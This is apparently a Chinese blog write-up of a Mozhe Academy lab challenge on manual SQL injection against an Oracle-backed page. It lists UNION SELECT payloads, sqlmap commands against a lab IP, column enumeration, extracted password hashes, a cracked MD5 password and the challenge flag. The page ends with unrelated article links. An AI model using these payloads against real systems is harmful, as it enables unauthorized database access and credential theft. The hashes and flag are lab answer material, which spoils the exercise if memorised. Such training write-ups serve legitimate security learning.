墨者学院 手工注入题解(oracle数据库)

简介

Oracle 数据库系统,是美国ORACLE公司(甲⻣⽂)提供的以分布式数据库为核⼼的⼀组软件 产品。是⽬前世界上使⽤最为⼴泛的,数据库管理系统。

以下是手工注入的流程:

1、判断注入点

使用 and 1=1 进行拼接

2、确定字段数

使用语句 order by

最终确定为只有两个字段

3、确定返回点

使用语句 ?id=-1 union select 'null','null' from dual

4、确定数据库名称

使用语句 sqlmap -u http://124.70.64.48:43361/new_list.php?id=1 --current-db 查看当前数据库

5、确定数据库中的表名

使用语句 sqlmap -u http://124.70.64.48:43361/new_list.php?id=1 -D SYSTEM --tables

6、查询列名

使用语句 id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%') from dual 进行模糊搜索

确定第一列为 user_name

使用语句 id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%' and column_name <> 'USER_NAME') from dual 进行模糊搜索

确定第二列为 user_pwd

7、获取账号以及密码

使用语句 new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

确定zhong 的密码为 1c63129ae9asc60asdua94d3e00495

new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'

确定 hu 的密码为 1c63129ae9db9g20asdua94d3e00495

new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'

确定 mozhe 的密码为 48b58ef8be01ef64e7de3f764ec83d2d

8、使用MD5进行密码解密

最终确定 mozhe 的密码为 267581

9、登录后台

10、提交KEY

KEY:mozhe89c06b9c5a5b67c98c500a1ce66

安全

网络安全靠人民,网络安全为人民

相关推荐
MXsoft6188 分钟前
基于IPMI_SSH的服务器硬件监控指标解读
大数据·运维·数据库
嚯——哈哈9 分钟前
深入解析大带宽服务器:性能优势与选择指南
运维·服务器
running up that hill10 分钟前
数据库中库的操作
java·数据库·mysql
Linux运维技术栈12 分钟前
自动化运维-检测Linux服务器CPU、内存、负载、IO读写、机房带宽和服务器类型等信息脚本
运维·服务器·自动化
海绵波波10712 分钟前
集群聊天服务器(12)nginx负载均衡器
服务器·nginx·负载均衡
小余大牛成长记13 分钟前
构建安全的数据库环境:群晖NAS安装MySQL和phpMyAdmin详细步骤
数据库·mysql·安全
isNotNullX17 分钟前
浅谈数据仓库的架构及其演变
大数据·数据库·数据仓库·架构·etl·数据同步
qq_4419960528 分钟前
Redis 中的主要数据结构
数据结构·数据库·redis
paterWang30 分钟前
小程序-基于java+SpringBoot+Vue的实习生管理系统设计与实现
java·spring boot·小程序
we_前端全家桶33 分钟前
小程序中模拟发信息输入框,让textarea可以设置最大宽以及根据输入的内容自动变高的方式
java·前端·小程序